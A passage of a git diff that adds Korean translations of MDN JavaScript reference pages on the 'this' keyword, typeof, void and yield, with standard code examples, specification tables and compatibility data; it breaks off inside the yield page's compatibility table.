+<p>ECMAScript 5는 {{jsxref("Function.prototype.bind")}}를 도입했습니다. <code>f.bind(someObject)</code>를 호출하면 <code>f</code>와 같은 본문(코드)과 범위를 가졌지만 this는 원본 함수를 가진 새로운 함수를 생성합니다. 새 함수의 <code>this</code>는 호출 방식과 상관없이 영구적으로<code>bind()</code>의 첫 번째 매개변수로 고정됩니다.</p>
+
+<pre class="brush: js notranslate">function f() {
+  return this.a;
+}
+
+var g = f.bind({a: 'azerty'});
+console.log(g()); // azerty
+
+var h = g.bind({a: 'yoo'}); // bind는 한 번만 동작함!
+console.log(h()); // azerty
+
+var o = {a: 37, f: f, g: g, h: h};
+console.log(o.a, o.f(), o.g(), o.h()); // 37, 37, azerty, azerty</pre>
+
+<h3 id="화살표_함수">화살표 함수</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Functions/%EC%95%A0%EB%A1%9C%EC%9A%B0_%ED%8E%91%EC%85%98">화살표 함수</a>에서 <code>this</code>는 자신을 감싼 정적 범위<sup>lexical context</sup>입니다. 전역 코드에서는 전역 객체를 가리킵니다.</p>
+
+<pre class="brush: js notranslate">var globalObject = this;
+var foo = (() =&gt; this);
+console.log(foo() === globalObject); // true</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 화살표 함수를 <code>call()</code>, <code>bind()</code>, <code>apply()</code>를 사용해 호출할 때 <code>this</code>의 값을 정해주더라도 무시합니다. 사용할 매개변수를 정해주는 건 문제 없지만, 첫 번째 매개변수(<code>thisArg</code>)는 <code>null</code>을 지정해야 합니다.</p>
+</div>
+
+<pre class="brush: js notranslate">// 객체로서 메서드 호출
+var obj = {func: foo};
+console.log(obj.func() === globalObject); // true
+
+// call을 사용한 this 설정 시도
+console.log(foo.call(obj) === globalObject); // true
+
+// bind를 사용한 this 설정 시도
+foo = foo.bind(obj);
+console.log(foo() === globalObject); // true</pre>
+
+<p>어떤 방법을 사용하든 <code>foo</code>의 <code>this</code>는 생성 시점의 것으로 설정됩니다(위 예시에서는 global 객체). 다른 함수 내에서 생성된 화살표 함수에도 동일하게 적용됩니다. <code>this</code>는 싸여진 렉시컬 컨텍스트의 것으로 유지됩니다.</p>
+
+<pre class="brush: js notranslate">// this를 반환하는 메소드 bar를 갖는 obj를 생성합니다.
+// 반환된 함수는 화살표 함수로 생성되었으므로,
+// this는 감싸진 함수의 this로 영구적으로 묶입니다.
+// bar의 값은 호출에서 설정될 수 있으며, 이는 반환된 함수의 값을 설정하는 것입니다.
+var obj = {
+  bar: function() {
+    var x = (() =&gt; this);
+    return x;
+  }
+};
+
+// obj의 메소드로써 bar를 호출하고, this를 obj로 설정
+// 반환된 함수로의 참조를 fn에 할당
+var fn = obj.bar();
+
+// this 설정 없이 fn을 호출하면,
+// 기본값으로 global 객체 또는 엄격 모드에서는 undefined
+console.log(fn() === obj); // true
+
+// 호출 없이 obj의 메소드를 참조한다면 주의하세요.
+var fn2 = obj.bar;
+// 화살표 함수의 this를 bar 메소드 내부에서 호출하면
+// fn2의 this를 따르므로 window를 반환할것입니다.
+console.log(fn2()() == window); // true</pre>
+
+<p>위 예시에서, <code>obj.bar</code>에 할당된 함수(익명 함수 A라고 지칭)는 화살표 함수로 생성된 다른 함수(익명 함수 B라고 지칭)를 반환합니다. 결과로써 함수 B가 호출될 때 B의 <code>this</code>는 영구적으로 <code>obj.bar</code>(함수 A)의 <code>this</code>로 설정됩니다. 반환됨 함수(함수 B)가 호출될 때, <code>this</code>는 항상 초기에 설정된 값일 것입니다. 위 코드 예시에서, 함수 B의 <code>this</code>는 함수 A의 <code>this</code>인 <code>obj</code>로 설정되므로, 일반적으로 <code>this</code>를 <code>undefined</code>나 global 객체로 설정하는 방식으로 호출할 때도(또는 이전 예시에서처럼 global 실행 컨텍스트에서 다른 방법을 사용할 때에도) obj의 설정은 유지됩니다.</p>
+
+<h3 id="객체의_메서드로서">객체의 메서드로서</h3>
+
+<p>함수를 어떤 객체의 메서드로 호출하면 <code>this</code>의 값은 그 객체를 사용합니다.</p>
+
+<p>다음 예제에서 <code>o.f()</code>를 실행할 때 <code>o</code> 객체가 함수 내부의 <code>this</code>와 연결됩니다.</p>
+
+<pre class="brush: js notranslate">var o = {
+  prop: 37,
+  f: function() {
+    return this.prop;
+  }
+};
+
+console.log(o.f()); // 37
+</pre>
+
+<p>이 행동이 함수가 정의된 방법이나 위치에 전혀 영향을 받지 않는 것에 유의해라. 이전 예제에서, <code>o</code> 의 정의 중 <code>f</code> 함수를 구성원으로 내부에 정의 하였다.  그러나, 간단하게 함수를 먼저 정의하고 나중에 <code>o.f</code>를 추가할 수 있다. 이렇게 하면 동일한 동작 결과 이다 :</p>
+
+<pre class="brush: js notranslate">var o = {prop: 37};
+
+function independent() {
+  return this.prop;
+}
+
+o.f = independent;
+
+console.log(o.f()); // logs 37
+</pre>
+
+<p>이는 함수가 <code>o</code>의 멤버 <code>f</code>로 부터 호출 된 것만이 중요하다는 것을 보여준다.</p>
+
+<p>마찬가지로, 이 <code>this</code> 바인딩은 가장 즉각으로 멤버 대상에 영향을 받는다. 다음 예제에서, 함수를 실행할 때, 객체 <code>o.b</code>의 메소드 <code>g</code> 로서 호출한다. 이것이 실행되는 동안, 함수 내부의 <code>this</code>는 <code>o.b</code>를 나타낸다. 객체는 그 자신이 <code>o</code>의 멤버 중 하나라는 사실은 중요하지 않다. 가장 즉각적인 참조가  중요한 것이다.</p>
+
+<pre class="brush: js notranslate">o.b = {g: independent, prop: 42};
+console.log(o.b.g()); // logs 42
+</pre>
+
+<h4 id="객체의_프로토타입_체인에서의_this">객체의 프로토타입 체인에서의 <code>this</code></h4>
+
+<p>같은 개념으로 객체의 프로토타입 체인 어딘가에 정의한 메서드도 마찬가지입니다. 메서드가 어떤 객체의 프로토타입 체인 위에 존재하면, <code>this</code>의 값은 그 객체가 메서드를 가진 것 마냥 설정됩니다.</p>
+
+<pre class="brush: js notranslate">var o = {
+  f:function() { return this.a + this.b; }
+};
+var p = Object.create(o);
+p.a = 1;
+p.b = 4;
+
+console.log(p.f()); // 5
+</pre>
+
+<p>이 예제에서, <code>f</code> 속성을 가지고 있지 않은 변수 <code>p</code>가 할당된 객체는, 프로토타입으로 부터 상속받는다. 그러나 그것은 결국 <code>o</code>에서 <code>f</code> 이름을 가진 멤버를 찾는 되는 문제가 되지 않는다 ; <code>p.f</code>를 찾아 참조하기 시작하므로, 함수 내부의 <code>this</code>는<code> p</code> 처럼 나타나는 객체 값을 취한다. 즉, <code>f</code>는 <code>p</code>의 메소드로서 호출된 이후로, <code>this</code>는 <code>p</code>를 나타낸다. 이것은 JavaScript의 프로토타입 상속의 흥미로운 기능이다.</p>
+
+<h4 id="접근자와_설정자의_this">접근자와 설정자의 <code>this</code></h4>
+
+<p>다시 한 번 같은 개념으로, 함수를 접근자와 설정자에서 호출하더라도 동일합니다. 접근자나 설정자로 사용하는 함수의 <code>this</code>는 접근하거나 설정하는 속성을 가진 객체로 묶입니다.</p>
+
+<pre class="brush: js notranslate">function sum() {
+  return this.a + this.b + this.c;
+}
+
+var o = {
+  a: 1,
+  b: 2,
+  c: 3,
+  get average() {
+    return (this.a + this.b + this.c) / 3;
+  }
+};
+
+Object.defineProperty(o, 'sum', {
+    get: sum, enumerable: true, configurable: true});
+
+console.log(o.average, o.sum); // 2, 6
+</pre>
+
+<h3 id="생성자로서">생성자로서</h3>
+
+<p>함수를 {{jsxref("Operators/new", "new")}} 키워드와 함께 생성자로 사용하면 <code>this</code>는 새로 생긴 객체에 묶입니다.</p>
+
+<div class="blockIndicator note">
+<p>While the default for a constructor is to return the object referenced by <code>this</code>, it can instead return some other object (if the return value isn't an object, then the <code>this</code> object is returned).</p>
+</div>
+
+<pre class="brush: js notranslate">/*
+ * Constructors work like this:
+ *
+ * function MyConstructor(){
+ *   // Actual function body code goes here.
+ *   // Create properties on |this| as
+ *   // desired by assigning to them.  E.g.,
+ *   this.fum = "nom";
+ *   // et cetera...
+ *
+ *   // If the function has a return statement that
+ *   // returns an object, that object will be the
+ *   // result of the |new| expression.  Otherwise,
+ *   // the result of the expression is the object
+ *   // currently bound to |this|
+ *   // (i.e., the common case most usually seen).
+ * }
+ */
+
+function C() {
+  this.a = 37;
+}
+
+var o = new C();
+console.log(o.a); // 37
+
+
+function C2() {
+  this.a = 37;
+  return {a: 38};
+}
+
+o = new C2();
+console.log(o.a); // 38
+</pre>
+
+<h3 id="DOM_이벤트_처리기로서">DOM 이벤트 처리기로서</h3>
+
+<p>함수를 이벤트 처리기로 사용하면 this는 이벤트를 발사한 요소로 설정됩니다. 일부 브라우저는 {{domxref("EventTarget.addEventListener()", "addEventListener()")}} 외의 다른 방법으로 추가한 처리기에 대해선 이 규칙을 따르지 않습니다.</p>
+
+<pre class="brush: js notranslate">// 처리기로 호출하면 관련 객체를 파랗게 만듦
+function bluify(e) {
+  // 언제나 true
+  console.log(this === e.currentTarget);
+  // currentTarget과 target이 같은 객체면 true
+  console.log(this === e.target);
+  this.style.backgroundColor = '#A5D9F3';
+}
+
+// 문서 내 모든 요소의 목록
+var elements = document.getElementsByTagName('*');
+
+// 어떤 요소를 클릭하면 파랗게 변하도록
+// bluify를 클릭 처리기로 등록
+for (var i = 0; i &lt; elements.length; i++) {
+  elements[i].addEventListener('click', bluify, false);
+}</pre>
+
+<h3 id="인라인_이벤트_핸들러에서">인라인 이벤트 핸들러에서</h3>
+
+<p>코드를 인라인 이벤트 처리기로 사용하면 <code>this</code>는 처리기를 배치한 DOM 요소로 설정됩니다.</p>
+
+<pre class="brush: js notranslate">&lt;button onclick="alert(this.tagName.toLowerCase());"&gt;
+  this 표시
+&lt;/button&gt;</pre>
+
+<p>위의 경고창은 <code>button</code>을 보여줍니다. 다만 바깥쪽 코드만 <code>this</code>를 이런 방식으로 설정합니다.</p>
+
+<pre class="brush: js notranslate">&lt;button onclick="alert((function() { return this; })());"&gt;
+  내부 this 표시
+&lt;/button&gt;</pre>
+
+<p>위의 경우, 내부 함수의 this는 정해지지 않았으므로 전역/<code>window</code> 객체를 반환합니다. 즉 비엄격 모드에서 <code>this</code>를 설정하지 않은 경우의 기본값입니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-this-keyword', 'The this keyword')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-this-keyword', 'The this keyword')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.1.1', 'The this keyword')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-11.1.1', 'The this keyword')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.1.1', 'The this keyword')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.operators.this")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Strict_mode">엄격 모드</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/typeof/index.html b/files/ko/web/javascript/reference/operators/typeof/index.html
new file mode 100644
index 0000000000..acdd2eedbb
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/typeof/index.html
@@ -0,0 +1,227 @@
+---
+title: typeof
+slug: Web/JavaScript/Reference/Operators/typeof
+tags:
+  - JavaScript
+  - Operator
+  - Reference
+  - Unary
+translation_of: Web/JavaScript/Reference/Operators/typeof
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong><code>typeof</code></strong> 연산자는 피연산자의 평가 전 자료형을 나타내는 문자열을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-typeof.html")}}</div>
+
+<p class="hidden">이 예제 소스는 GitHub repository에 존재합니다. 만약 이 예제에 기여하고 싶다면 <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a>를 클론해서 pull request를 보내주세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<p><code>typeof</code> 연산자는 피연산자 앞에 위치합니다.</p>
+
+<pre>typeof <var>operand</var>
+typeof(<var>operand</var>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>operand</code></dt>
+ <dd>자료형을 가져올 객체 또는 {{glossary("Primitive", "원시값")}}을 나타내는 표현식.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>typeof</code>가 반환할 수 있는 값을 아래 표에서 볼 수 있습니다. 자료형과 원시값에 대한 자세한 정보는 <a href="/ko/docs/Web/JavaScript/Data_structures">JavaScript 자료형과 자료구조</a> 페이지를 참고하세요.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Type</th>
+   <th scope="col">Result</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{glossary("Undefined")}}</td>
+   <td><code>"undefined"</code></td>
+  </tr>
+  <tr>
+   <td>{{glossary("Null")}}</td>
+   <td><code>"object"</code> ({{anch("null", "아래")}} 참고)</td>
+  </tr>
+  <tr>
+   <td>{{glossary("Boolean")}}</td>
+   <td><code>"boolean"</code></td>
+  </tr>
+  <tr>
+   <td>{{glossary("Number")}}</td>
+   <td><code>"number"</code></td>
+  </tr>
+  <tr>
+   <td>{{glossary("BigInt")}}</td>
+   <td><code>"bigint"</code></td>
+  </tr>
+  <tr>
+   <td>{{glossary("String")}}</td>
+   <td><code>"string"</code></td>
+  </tr>
+  <tr>
+   <td>{{glossary("Symbol")}} (ECMAScript 2015에서 추가)</td>
+   <td><code>"symbol"</code></td>
+  </tr>
+  <tr>
+   <td>호스트 객체 (JS 환경에서 제공)</td>
+   <td><em>구현체마다 다름</em></td>
+  </tr>
+  <tr>
+   <td>{{glossary("Function")}} 객체 (ECMA-262 표현으로는 [[Call]]을 구현하는 객체)</td>
+   <td><code>"function"</code></td>
+  </tr>
+  <tr>
+   <td>다른 모든 객체</td>
+   <td><code>"object"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> ECMAScript 2019 and older permitted implementations to have <code>typeof</code> return any implementation-defined string value for non-callable non-standard exotic objects.</p>
+
+<p>The only known browser to have actually taken advantage of this is old Internet Explorer (see <a href="#IE-specific_notes">below</a>).</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:js">// Numbers
+typeof 37 === 'number';
+typeof 3.14 === 'number';
+typeof Math.LN2 === 'number';
+typeof Infinity === 'number';
+typeof NaN === 'number'; // Despite being "Not-A-Number"
+typeof Number(1) === 'number'; // but never use this form!
+
+typeof 42n === 'bigint';
+
+
+// Strings
+typeof "" === 'string';
+typeof "bla" === 'string';
+typeof (typeof 1) === 'string'; // typeof always returns a string
+typeof String("abc") === 'string'; // but never use this form!
+
+
+// Booleans
+typeof true === 'boolean';
+typeof false === 'boolean';
+typeof Boolean(true) === 'boolean'; // but never use this form!
+
+
+// Symbols
+typeof Symbol() === 'symbol'
+typeof Symbol('foo') === 'symbol'
+typeof Symbol.iterator === 'symbol'
+
+
+// Undefined
+typeof undefined === 'undefined';
+typeof declaredButUndefinedVariable === 'undefined';
+typeof undeclaredVariable === 'undefined';
+
+
+// Objects
+typeof {a:1} === 'object';
+
+// use <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray">Array.isArray</a> or Object.prototype.toString.call
+// to differentiate regular objects from arrays
+typeof [1, 2, 4] === 'object';
+
+typeof new Date() === 'object';
+
+
+// The following is confusing. Don't use!
+typeof new Boolean(true) === 'object';
+typeof new Number(1) === 'object';
+typeof new String("abc") === 'object';
+
+
+// Functions
+typeof function(){} === 'function';
+typeof class C {} === 'function';
+typeof Math.sin === 'function';
+</pre>
+
+<h2 id="추가_정보">추가 정보</h2>
+
+<h3 id="null"><code>null</code></h3>
+
+<pre class="brush:js">// This stands since the beginning of JavaScript
+typeof null === 'object';
+</pre>
+
+<p>자바스크립트를 처음 구현할 때, 자바스크립트 값은 타입 태그와 값으로 표시되었습니다. 객체의 타입 태그는 0이었습니다. <code>null</code>은 Null pointer(대부분의 플랫폼에서 <code>0x00</code>)로 표시되었습니다. 그 결과 null은 타입 태그로 0을 가지며, 따라서 <code>typeof</code>는 object를 반환합니다. (<a href="https://2ality.com/2013/10/typeof-null.html">참고 문서</a>)</p>
+
+<p>ECMAScript에 수정이 제안(opt-in을 통해)되었으나 <a href="https://web.archive.org/web/20160331031419/http://wiki.ecmascript.org:80/doku.php?id=harmony:typeof_null">거절되었습니다</a>. 제안된 것은 다음과 같습니다. <code>typeof null === 'null'.</code></p>
+
+<h3 id="Regular_expressions">Regular expressions</h3>
+
+<p>Callable regular expressions were a non-standard addition in some browsers.</p>
+
+<pre class="brush:js">typeof /s/ === 'function'; // Chrome 1-12 Non-conform to ECMAScript 5.1
+typeof /s/ === 'object';   // Firefox 5+  Conform to ECMAScript 5.1
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-typeof-operator', 'The typeof Operator')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-typeof-operator', 'The typeof Operator')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.4.3', 'The typeof Operator')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-11.4.3', 'The typeof Operator')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.4.3', 'The typeof Operator')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.1.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.operators.typeof")}}</p>
+
+<h2 id="IE_참고사항">IE 참고사항</h2>
+
+<p>On IE 6, 7, and 8 a lot of host objects are objects and not functions. For example:</p>
+
+<pre class="brush: js">typeof alert === 'object'</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Operators/instanceof", "instanceof")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/void/index.html b/files/ko/web/javascript/reference/operators/void/index.html
new file mode 100644
index 0000000000..79fe2c1837
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/void/index.html
@@ -0,0 +1,122 @@
+---
+title: void
+slug: Web/JavaScript/Reference/Operators/void
+tags:
+  - JavaScript
+  - Operator
+  - Reference
+  - Unary
+translation_of: Web/JavaScript/Reference/Operators/void
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong><code>void</code> 연산자</strong>는 주어진 표현식을 평가하고 {{jsxref("undefined")}}를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-voidoperator.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">void <em>expression</em></pre>
+
+<h2 id="설명">설명</h2>
+
+<p><code>void</code>는 값을 생성하는 표현식을 평가해서 {{jsxref("undefined")}}를 반환합니다.</p>
+
+<p>오직 <code>undefined</code> 원시값을 얻기 위해 <code>void 0</code> 또는 <code>void(0)</code>처럼 사용하는 경우도 볼 수 있습니다. 이런 경우 전역 {{jsxref("undefined")}}를 대신 사용해도 됩니다.</p>
+
+<p><code>void</code> 연산자의 <a href="/ko/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">우선순위</a>도 유념해야 합니다. <a href="/ko/docs/Web/JavaScript/Reference/Operators/Grouping">그룹 연산자</a>(괄호)를 사용하면 <code>void</code> 연산자를 사용한 식의 평가 과정을 더 명확하게 보일 수 있습니다.</p>
+
+<pre class="brush: js">void 2 == '2'; // undefined == '2', false
+void (2 == '2'); // void true, undefined
+</pre>
+
+<h2 id="IIFE">IIFE</h2>
+
+<p>즉시 실행 함수 표현식({{Glossary("IIFE")}})을 사용할 때 <code>void</code>를 사용하면 <code>function</code> 키워드를 선언문이 아니라 표현식처럼 간주하도록 강제할 수 있습니다.</p>
+
+<pre class="brush: js">void function iife() {
+    var bar = function () {};
+    var baz = function () {};
+    var foo = function () {
+        bar();
+        baz();
+     };
+    var biz = function () {};
+
+    foo();
+    biz();
+}();
+</pre>
+
+<h2 id="JavaScript_URI">JavaScript URI</h2>
+
+<p><code>javascript:</code>로 시작하는 URI를 지원하는 브라우저에서는, URI에 있는 코드의 평가 결과가 {{jsxref("undefined")}}가 아니라면 페이지의 콘텐츠를 반환 값으로 대체합니다. <code>void</code> 연산자를 사용하면 <code>undefined</code>를 반환할 수 있습니다. 다음 예제를 확인하세요.</p>
+
+<pre class="brush: html">&lt;a href="javascript:void(0);"&gt;
+  클릭해도 아무 일도 없음
+&lt;/a&gt;
+&lt;a href="javascript:void(document.body.style.backgroundColor='green');"&gt;
+  클릭하면 배경색이 녹색으로
+&lt;/a&gt;
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: <code>javascript:</code> 의사 프로토콜보다 이벤트 처리기와 같은 대체재 사용을 권장합니다.</p>
+</div>
+
+<h2 id="새지_않는_화살표_함수">새지 않는 화살표 함수</h2>
+
+<p>Arrow functions introduce a short-hand braceless syntax that returns an expression. This can cause unintended side effects by returning the result of a function call that previously returned nothing. To be safe, when the return value of a function is not intended to be used, it can be passed to the void operator to ensure that (for example) changing APIs do not cause arrow functions' behaviors to change.</p>
+
+<pre class="brush: js">button.onclick = () =&gt; void doSomething();</pre>
+
+<p>This ensures the return value of <code>doSomething</code> changing from <code>undefined</code> to <code>true</code> will not change the behavior of this code.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-void-operator', 'The void Operator')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-void-operator', 'The void Operator')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.4.2', 'The void Operator')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-11.4.2', 'The void Operator')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.4.2', 'The void Operator')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.1</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.operators.void")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("undefined")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/yield/index.html b/files/ko/web/javascript/reference/operators/yield/index.html
new file mode 100644
index 0000000000..ef884816d2
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/yield/index.html
@@ -0,0 +1,182 @@
+---
+title: yield
+slug: Web/JavaScript/Reference/Operators/yield
+tags:
+  - ECMAScript 2015
+  - Generators
+  - Iterator
+  - JavaScript
+  - Operator
+  - 반복자
+  - 생성기
+translation_of: Web/JavaScript/Reference/Operators/yield
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><code>yield </code>키워드는 제너레이터 함수 ({{jsxref("Statements/function*", "function*")}} 또는  <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/Legacy_generator_function">레거시 generator </a>함수)를 중지하거나 재개하는데 사용됩니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">[<em>rv</em>] = <strong>yield</strong> [<em>expression</em>];</pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>제너레이터 함수에서 <a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#iterator">제너레이터 프로토콜</a>을 통해 반환할 값을 정의합니다.  값이 생략되면, <code>undefined를 반환합니다.</code></dd>
+ <dt><code>rv</code></dt>
+ <dd>
+ <p>제너레이터 실행을 재개 하기 위해서, optional value을 제너레이터의 <code>next()</code> 메서드로 전달하여 반환합니다.</p>
+ </dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>yield 키워드</code>는 제너레이터 함수의 실행을 중지시키거나 그리고  <code>yield</code> 키워드 뒤에오는 표현식[expression]의 값은 제너레이터의 caller로 반환된다. 제너레이터 버전의 <code>return</code> 키워드로 생각 할 수 있다.</p>
+
+<p><code>yield</code> 키워드는 실질적으로  value 와 done 이라는 두 개의 속성을 가진 <code>IteratorResult</code> 객체를 반환한다. <code>value</code> 속성은 <code>yield</code> 표현(expression)의 실행 결과를 나타내고, <code>done</code> 속성은 제너레이터 함수가 완전히 종료되었는지 여부를 불린(Boolean) 형태로 보여줍니다. </p>
+
+<p>yield 표현식에서 중지되면 ,제너레이터의 next()가 메서드가 호출될 때까지 제너레이터의 코드 실행이 중지된다. 제너레이터의 next()메서드를 호출할 때마다 제너레이터는 실행을 재개하며 그리고 다음의 같은 경우에 진행될 때 실행된다:</p>
+
+<ul>
+ <li> <code>yield 는</code> 제너레이터가  한번 멈추게 하고 제너레이터의 새로운 값을 반환한다. 다음번의 next()가 호출된 후, yield 이후에 선언된 코드가 바로 실행된다.</li>
+ <li>{{jsxref("Statements/throw", "throw")}}는 제네레이터에서 예외를 설정할 때 사용된다. 예외가 발생할 경우 제너레이터의 전체적으로 실행이 중지되고, 그리고  다시 켜는 것이 일반적으로 실행됩니다.</li>
+ <li>
+  <p>제너레이터 함수가 종료가 되었다; 이 경우, 제너레이터 실행이 종료되고  <code>IteratorResult는 </code>caller 로  값이 {{jsxref("undefined")}}이고 done의 값이 true 로 리턴한다.</p>
+ </li>
+ <li>
+  <p>{{jsxref("Statements/return", "return")}} 문에 도달했다. 이 경우에는, 이 값이 종료되고 <code>IteratorResult는 </code>caller 로<code> return</code> 문에 의해 반환되는 값과 done의 값이 true  로 리턴한다.</p>
+ </li>
+</ul>
+
+<p>만약에 optional value가 제너레이터의 next() 메서드로 전달되면, optional value는  제너레이터의 현재 yield의 연산으로 반환되는 값이 된다.</p>
+
+<p>generator 코드 경로, yield연산자, {{jsxref("Generator.prototype.next()")}}에 이르기까지 새로운 시작 값을 지정할 수 있는 능력과 제네레이터는 커다란 힘과 제어를 제공한다.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>다음 코드는 제너레이터 함수의 선언의 예시이다.</p>
+
+<pre class="brush: js">function* foo(){
+  var index = 0;
+  while (index &lt;= 2) // when index reaches 3,
+                     // yield's done will be true
+                     // and its value will be undefined;
+    yield index++;
+}</pre>
+
+<p>제너레이터 함수가 정의되면 , 아래 코드와 보여지는 것처럼 iterator로 만들어 사용할 수 있다.</p>
+
+<pre class="brush: js">var iterator = foo();
+console.log(iterator.next()); // { value: 0, done: false }
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: undefined, done: true }</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES6', '#', 'Yield')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#', 'Yield')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>39</td>
+   <td>{{CompatGeckoDesktop("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>IteratorResult</code> object instead of throwing</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("29.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
